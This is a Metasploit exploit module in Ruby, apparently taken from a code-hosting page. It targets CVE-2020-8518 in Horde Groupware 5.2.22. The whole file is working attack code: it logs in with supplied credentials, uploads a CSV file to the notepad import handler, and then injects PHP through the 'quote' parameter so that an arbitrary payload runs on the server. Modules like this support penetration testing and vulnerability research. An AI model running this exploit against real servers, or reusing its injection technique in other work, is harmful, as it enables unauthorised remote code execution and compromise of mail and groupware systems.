adfoster-r7
128 lines
4.0 KiB
Ruby
128 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Horde CSV import arbitrary PHP code execution',
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'Description' => %q{
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The Horde_Data module version 2.1.4 (and before) present in Horde
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Groupware version 5.2.22 allows authenticated users to inject
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arbitrary PHP code thus achieving RCE on the server hosting the web
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application.
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},
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'License' => MSF_LICENSE,
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'Author' => ['Andrea Cardaci <cyrus.and@gmail.com>'],
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'References' => [
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['CVE', '2020-8518'],
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['URL', 'https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/']
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],
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'DisclosureDate' => '2020-02-07',
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [['Automatic', {}]],
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'Payload' => { 'BadChars' => "'" },
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'Privileged' => false,
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'DefaultOptions' => { 'PrependFork' => true },
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [ CRASH_SAFE ],
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'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
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'Reliability' => [ REPEATABLE_SESSION ]
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}
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)
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)
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The path to the web application', '/']),
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OptString.new('USERNAME', [true, 'The username to authenticate with']),
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OptString.new('PASSWORD', [true, 'The password to authenticate with'])
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]
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)
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end
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def login
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username = datastore['USERNAME']
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password = datastore['PASSWORD']
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri, 'login.php'),
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'cookie' => 'Horde=x', # avoid multiple Set-Cookie
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'vars_post' => {
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'horde_user' => username,
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'horde_pass' => password,
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'login_post' => '1'
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}
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)
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unless res && res.code == 302 && res.headers['Location'].include?('/services/portal/')
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fail_with(Failure::UnexpectedReply, 'Login failed or application not found')
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end
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vprint_good("Logged in as #{username}:#{password}")
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return res.get_cookies
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end
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def upload_csv(cookie)
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csv_fname = Rex::Text.rand_text_alpha(6..8)
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data = Rex::MIME::Message.new
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data.add_part('11', nil, nil, 'form-data; name="actionID"')
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data.add_part('1', nil, nil, 'form-data; name="import_step"')
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data.add_part('csv', nil, nil, 'form-data; name="import_format"')
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data.add_part('x', nil, nil, 'form-data; name="notepad_target"')
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data.add_part(csv_fname, nil, nil, "form-data; name=\"import_file\"; filename=\"#{csv_fname}\"")
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri, 'mnemo/data.php'),
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'cookie' => cookie,
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => data.to_s
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)
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vprint_status("Uploading #{csv_fname}.csv")
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unless res && res.code == 200
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fail_with(Failure::UnexpectedReply, 'Cannot upload the CSV file')
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end
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vprint_good('CSV file uploaded')
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end
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def execute(cookie, function_call)
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options = {
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'method' => 'POST',
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'uri' => normalize_uri(target_uri, 'mnemo/data.php'),
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'cookie' => cookie,
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'vars_post' => {
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'actionID' => '3',
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'import_step' => '2',
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'import_format' => 'csv',
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'header' => '1',
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'fields' => '1',
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'sep' => 'x',
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'quote' => ").#{function_call}.die();}//\\"
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}
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}
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send_request_cgi(options)
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end
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def exploit
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cookie = login
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upload_csv(cookie)
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# do not terminate the statement
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function_call = payload.encoded.tr(';', '')
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vprint_status("Sending payload: #{function_call}")
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execute(cookie, function_call)
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end
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end
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